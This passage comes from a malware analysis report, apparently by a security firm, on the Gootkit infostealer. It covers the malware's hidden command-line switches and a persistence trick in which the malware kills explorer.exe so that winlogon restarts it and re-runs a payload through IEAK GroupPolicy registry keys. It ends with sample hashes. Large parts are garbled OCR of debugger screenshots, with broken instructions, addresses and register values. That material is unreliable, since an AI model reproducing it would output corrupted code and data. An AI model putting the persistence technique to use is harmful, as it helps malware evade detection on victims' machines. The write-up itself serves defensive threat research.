0Ez01066 SE 0D EO 29 83 08 mow ecx,dword ptr ds:[B3339E0] ecxIRTIPCTOFi 1 eHeader
Ogz0106C %9 0D E4 29 53 06 mow dward ptr ds:[68339E4] ,ecx ecx:RLIPCTOF11eHeader
0sz201072 22 30 E4 39 23 06 00| cmp dword ptr ds:[£8339E4],0
ngz0107a w4 T4 je e2D10EF
0&20107E 8B 15 E4 39 83 06 mow ed=,dword ptr ds:[B3339E4]
a2 N1 nE1 f3 74 ONA NN rimn dwnrd nte ds: Tedw+E1 00
4

ebp=000FF&FC

Osz0l000

By Dump 1 B4 Dump 2 e Dump 3 s Dump 4 el Dump 5 “"E’ WWatch 1 [x=] Locals ;,;J Skruct

Address | Hex ~
0503302040 54 90 00|03 00 00 00|04 0O

A5039020 | BE 00 OO0 00|00 00 00 00|40 O

05033040 (00 00 00 00|00 00 00 00|00 00

05033050 (00 00 00 00|00 00 00 00|00 00

AtD?9060 | 0E 1F BA OE |00 B4 0% CD|21 BS

05039070 (g2 F3 20 FO|72 6F €7 72|61 &0

05035080 |74 20 52 &5 |20 72 75 ©E|20 &% &E 20|44 4F 53 20| € be run in DOS

05033090 | 60 &F &4 E5|2E OD OD 0A|24 00 00 0O(00 00 OO0 O0(mode....$.......

05035040 | 2A 1F EB 04 |6E FE 85 &7 |6E FE S5 GF|6E FE 85 GF | ¥.E.M~."Whi~.Wn~.%

0SD390B0| 28 2F &4 GF (6A FE 85 57 |FO DE 42 57|67 7FE 85 57| [fdwj~.wWhpEWg~.W

05039020 (63 2C 54 57|26 FE 85 &7 |63 2C GA GF |87 FE 85 GF | C,dwie.wiC 2w

05039000 | 63 2C &5 57|64 7F 85 S57 |67 06 06 57 |6C 7FE 85 57| cC,ewd..wg..wWl~.W w
OCOI3o000 o_TC L _CTlAC T L _CTx113 AT | N il S O § bl L _CT! & Lulh] L LI =] Ll

Commandﬂbp PeglpenteyExd

The final payload is a DLL file that is bigger than 5MB because it contains the Node.js engine
which is probably needed to run some embedded javascript files. At this time we decided to
stop our analysis and leave the rest to future work.

Additional findings:

While debugging, we noticed that Gootkit does not check only if a parameter called “ --
vwxyZz” was passed to the command line. Also it checks if other 3 parameters:
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--reinstall

EAX 00000014
EBX 00000000

ECX  0000006C 2k

EDX  02ZFA5330 L"--reinstall™
EBP  D4C1F994

ESP  04C1F350

ESI 00000005

EDI  0ZFASA3S

--service

EAX 00000014
EBX 00000000
ECX lalnluinlulnln]
EDX 0341BCES L" --service"
EBP O50FF&E4
ESF  0OS0FF&40
ESI Q0000006
EDI 03429A98

-test

EAX 00000009
EEX 00000000
ECX 00000000
EDX 03428993 L"-test™
EBF  OS0FFGE4
ESPE  OSOFF&4C
ESI 00000005
EDI 03429498

Pretty strange thing. We haven’t found the malware to actively use these arguments yet.
However, stepping through code we discovered that:

1 - the “--reinstall” command leaded the execution to some curious code. First, the malware
used “CreateToolHelp32Snapshot’ to retrieve a list of the current running processes.

Then, it iterated through the retrieved list via “ Process32FirstW’ and “Process32NextW’ with
the aim to get a handle to the active “explorer.exe” instance.

FF 15 88 91 A5 00 €@l dword ptr ds:[<&CreateToolhelp325n ~| show EPU
89 45 FC mov dword ptr ss:|lebp-4l,eax
C7 45 CC 00 00 00 00|(mov dword ptr ss:[febp-34J,0
8D 8D BC FC FF FF 'Ieahecx,dwur‘d ptr ss:|[[ebp-344f : E?li gggggg;g
51 push ecx ecx:L"explorer. exe" - "
8B 55 FC mov edx,dword ptr ss:[ebp-40 FEd  CEEEAEE L"explorer. exe”
52 push edx edx:L"explorer. exe” EDX  0538FB60 L"explorer. exe
FF 15 98 91 A5 00 €all dword ptr ds:[<&Process3zFirstws>] EBF  DS538FCTE
85 CO test eax,eax ESP  0D538F514 &L explorer.exe”
~ OF 84 98 00 00 00 je gootkit_2_stage.A3DE34 ESI 00A3DCZ0 gootkit_2_stage.
BB 45 C8 mov eax,dword ptr ss:|ebp-35] EDI 0538F934
3B B85 C4 FC FF FF cmp eax,dword ptr ss:|lebp-33C[
v 74 74 je gootkit_2_stage.A3SDELE EIP  DO0A3DDES gootkit_2_stage.
8D 8D EO FC FF FF lea ecx,dword ptr ss:|[febp-320f
51 push ecx ecx:L"explorer. exe"
8D 95 EB FE FF FF lea edx,dword ptr ss:|[febp-115] ;ELSGSPF 20022216
52 push edx edx:L"explorer.exe" P it
FF 15 AC 92 A5 00 call dword ptr ds:[<&StrimpIw:-]
B5 CO test eax,eax
v 75 5C jne gootkit_2_stage.A3DELB Default (stdcall)
C7 45 C4 00 00 00 00|mov dword ptr ss:|febp-3CQ,0 1: [esp] O538FB60 L"explorer.exe”
8B 85 C4 FC FF FF mov_eax,dword ptr ss:|[[ebp-33C] 2: [esp+4] 0538F958 L"explorer.exe"

At this point it killed “explorer.exe”. The following image shows the process list before the
“TerminateProcess” command.
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h | 4 Log | “H Motes ® Brezkpoints = Memory Map [ ) Call Stack =7 SEH L3] Seript| = = =
®|[012B0DBE 85 CO Test eax,eax Frocesses  Services Network  Disk
---e[ 01280D8D| ~ 75 5€ jne gootkit_2_stage.12EDE1E - -
#| 01z8008F €7 45 €4 00 00 00 O0|mov dword ptr ss:[Cebp-3cll,o Name PID ASLR  Integrity CPU I/Ototal ... Privateb...
®| 012BDDCE BE BS C4 FC FF FF mov eax,dword ptr ss:[Jebp-33C[] -
] Breakpoint Not Set PD push eax [#] Memory Compression 1244 Systermn B0 kB
— G 52 push o [#] Interrupts 039 0
e 01280DCF 68 01 04 00 0O push 401
G FF 15 BO 91 2D 01 €all dword ptr ds:[<&0penProcess:] [] esrss.exe 392 ASLR  System 1.54 MB
. B2 45 FO mov dword ptr ss:|febp-10],eax L
. 83 7D FO 00 cmp dword ptr s=:febp-10].0  [5] wininit.exe 460 ASLR  System 1.2 MB
v 74 38 je gootkit_2z_stage.12BDE1E -
8D 4D C4 lea ecx,dword ptr ss:|[febp-3cf » [¥] services.exe 580 ASLR System 3.36 ME
51 push ecx Isass. 506 ASLR Syst 478 MB
BE 55 FO mov edx,dword ptr ss:[[ebp-10] L] lsass.exe ystem
52 push edx (] fontdrvhost.exe 708 ASLR Low 1.54 MB
FF 15 E8 90 2D 01 11 dword ptr ds:[<&GetExiTtCoder:
& o e (5] csrss.exe 468 ASLR  System 005 162 MB
v 74 1C je gootkit_2_stage.12BDE11 o
5175 C4 03 01 00 00| mp-dword per ~ |2 winlogon.exe 528 ASLR  System 224 MB
v 75 13 jne gootkit_2 [5] fontdrvhost.exe 700 ASIR  Low 2.61 MB
C7 45 CC 01 00 00 00|mov dword ptr
64 00 push 0 (5] dwrm.exe 908 ASLR  System 0.7 43.29 MB
g8 45 FO e GRS = ¥ r explorer.exe 3492 ASIR  Medium 013 22.76 MB
FF 15 638 91 2D 01 €all dword ptr ds:[<&TerminateProcess>]
iF 15 &3 e e By WinSCP exe 2400 ASLR  Medium 0.15 4B/s  16.29 MB
51 push ecx v ¥% x32dbg.exe 2372 ASLR High 437 £9.29 ME
FF 15 9C 91 2D 01 €all dword ptr ds:[<&CloseHandle>] . e e P P
8D 95 BC FC FF FF lea edx,dword ptr sc:[[ebp-244] [ gootkit_2_stage.exe
52 push edx
BE 45 FC dword ptr ssillebp-4 -
e o i CPU Usage: 7.57%  Physical memory: 96657 MB (47.21%) Processes: 54
FF 15 90 91 2D 01 €8l dword ptr ds:[<&Process32Nextw:] XE7TH UUUDTUOTTUTTUUTTT
85 CO TesT eax,eax |
~ OF 85 B8 FF FF FF dne gootkit_2_stage.12BDD3C @ Default (stdcall
>
: [esp] 00000210

1
168 <gootkit_2_stage.&TerminateProcess»]=ckernel3z.TerminateProcess> 2: [espt+4] 00000000
3: [esp+8] 012BDC20 goo
4: [esp+C] 012BDC20 goo
5: [esp+l0] 003A0043

sotkit_2_stage.exe: $DEOB #DZ0B

After having executed that command, we found that a new instance of the malware spawned
as a child of “explorer.exe”.

= = = %% Refresh {75 Options | @8 Find handles or DLLs  2#% System informatien | [] x
Graph L Log [ Notes ® Breakpoints B Memory Map [ callstack = @ sEH L] Script ;5 M‘_ | | =
T ZEODBE a5 Co Test eax,eax rocesses | Services | Network | Disk

"EE e m o o ol e pire Een Name PID ASLR  Integrity CPU I/Oftotal .. Privateb..
DOREER |y ErEmar pE s A > [ services.exe 580 ASLR  System 029 336 MB
6A 00 push 0
53 01 04 00 00 push 401 [] Isass.exe 596 ASLR System 230 18.05kB/s 476 MB
FF 15 80 31 2D 01 €all dword ptr ds: [<&0penProcess>] [#] fontdrvhost.exe 708 ASLR Low 134 MB
83 45 FO mov dword ptr ebp-10f, eax
83 7D FO 00 cmp dword ptr ss:[febp-10]0 (57 csrss.exe 468 ASLR  System 0.04 1.62 MB

~ T4 38 je gootkit_2_stage.12BDE1B -
8D 4D C4 lea ecx,dword ptr ss:[febp-3C) Vﬂwmlogon.u(e 328 ASLR System 224 MB
el push ecx [ fontdrvhost.exe 700 ASLR  Low 344 MB
8B 55 FO mov edx,dword ptr ss:|[lebp-10
52 push edx B [5] dwm.exe 908  ASLR System 1.00 42,84 MB
:: ég ES 90 2D 01 g:;l g:gr:gagtr ds: [<&GetExitCodeProcess o g 3306 ASLR Medium 022 22,66 ME

~ 74 1C je gootkit_2_stage.12BDE11 = :
81 7D C4 03 01 00 00|cmp dword ptr ss:flebp-3Cl,103 [ gootkit 2 stage.exe 2996 ASLR  Medium 1.35 MB

v 75 1% jne gootkit_2_stage.12BDELL ¥4 VBoxTray.exe 5032 ASLR  Medium 0.04 92 Bfs 245 MB
€7 45 CC 01 00 00 00| mov dword ptr ss:|febp-z4],1 .
6A 0O push o % ProcessHacker.exe 3052 ASLR High 135 13.28 MB
88 45 FO i By WinSCP.exe 2400 ASLR  Medium 0.08 4Bfs  16.2MB
FF 15 65 91 2D 01 €all dword ptr ds:[<&TerminateProcesss>] v 4372 R
8B 4D FO mov ecx,dword ptr ss:[ebp-10] *ﬁzdhg.exe £l Al cil L
51 push ecx IElgootl(i‘LZ,stage.exe 5392 ASLR High 1.68 MB
FF 15 9C 91 2D 01 €all dword ptr ds:[<&CloseHandlex]
8D 95 BC FC FF FF lea edx,dword ptr ss:[[ebp-344]) r
52 push edx
e (o o) [ S8 CPU Usage: 48.23% Physical memory: 977.6 MB (47.75%)  Processes: 58
FF 15 90 91 2D 01 €817 dword ptr ds:[<&Process32Nextw:] RE&7T¥ UUUUUU0UTUTTO00T
85 CO test eax,eax [ —

~ OF 85 68 FF FF FF ine gootkit_2_stage.12BDDSC K2 Defaut (stdcal]

What happened? We performed some tests and it seems that “ explorer.exe” was killed and
then automatically restarted by “winlogon.exe”. Therefore “explorer.exe” accessed the keys
involved in the persistence mechanism previously explained:

egOpenKey HKCINS oftwareiMicrosoftf IEAK\GroupPolicy\PendingGP Os
3676 ﬁﬁegﬂuew\f... HKCIUNS oftware\Microsoft |EAK\GroupPolicy\PendingGPOs\Path1
3676 ﬁﬁegﬁuerﬂf... HKCIUNS oftware\Microsoft |IEAK\GroupPolicyiPendingGPOs\Section

[0:55.... = explorer.exe
[0:55:... mexplorerexe

Using this trick, the malware is able to “reinstall” itself, without the need to use suspicious
API calls like “ CreateProcessW".

2 - the “ --service” command did not change the flow of execution with the exception of
creating a new environment variable called “USERNAME_REQUIRED” and set it to “TRUE”.

Eventually we found that the final stage checks if the aforementioned variable exists.
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push eax eax: "USERNAME_REQUIRED™
call dword ptr ds: [<&SetEnvironmentvaria/wvariable di ambiente per --se

T1ea ecx,dword ptr ss:|febp-154] [ebp-154]:"TRUE™
cdll gootkit_2_stage.A3Z2510
Tea ecx,dword ptr ss:febp-158] [ebp-158] : "USERNAME_REQUIRED™

call aootkit 2 staoe.A32990

3 - the “ -test” command just terminate the process. Indeed it’s a test.

Conclusions

We explored some of the functionalities of one of the most widespread Infostealers of these
days, revealing new and old tricks that is using to remain undetected as much time as
possible.

Certego is actively monitoring every day threats to improve our detection and response
methods, continuously increasing the effectiveness of the incident response workflow.

PS: Let us know if you liked this story and feel free to tell us how we can improve it!

Hash:

597f734c7801283d6cd7c7443700a65249b8350eclad58b8aa790a32f57eec4d
GLS_Notifica.js
5ed739855d05d9601ee65e51bf4fec20d9f600e49ed29b7a13d018de7c5d23bc
gootkit 1st stage
e32d72c4ad2b023bf27ee8a79bf82c891c188c9bd7a200bfc987f41397bd61df
gootkit 2nd stage
0ad2e03b734b6675759526b357788F56594ac900eeb5bd37c67b52241305al10a
gootkit DLL module
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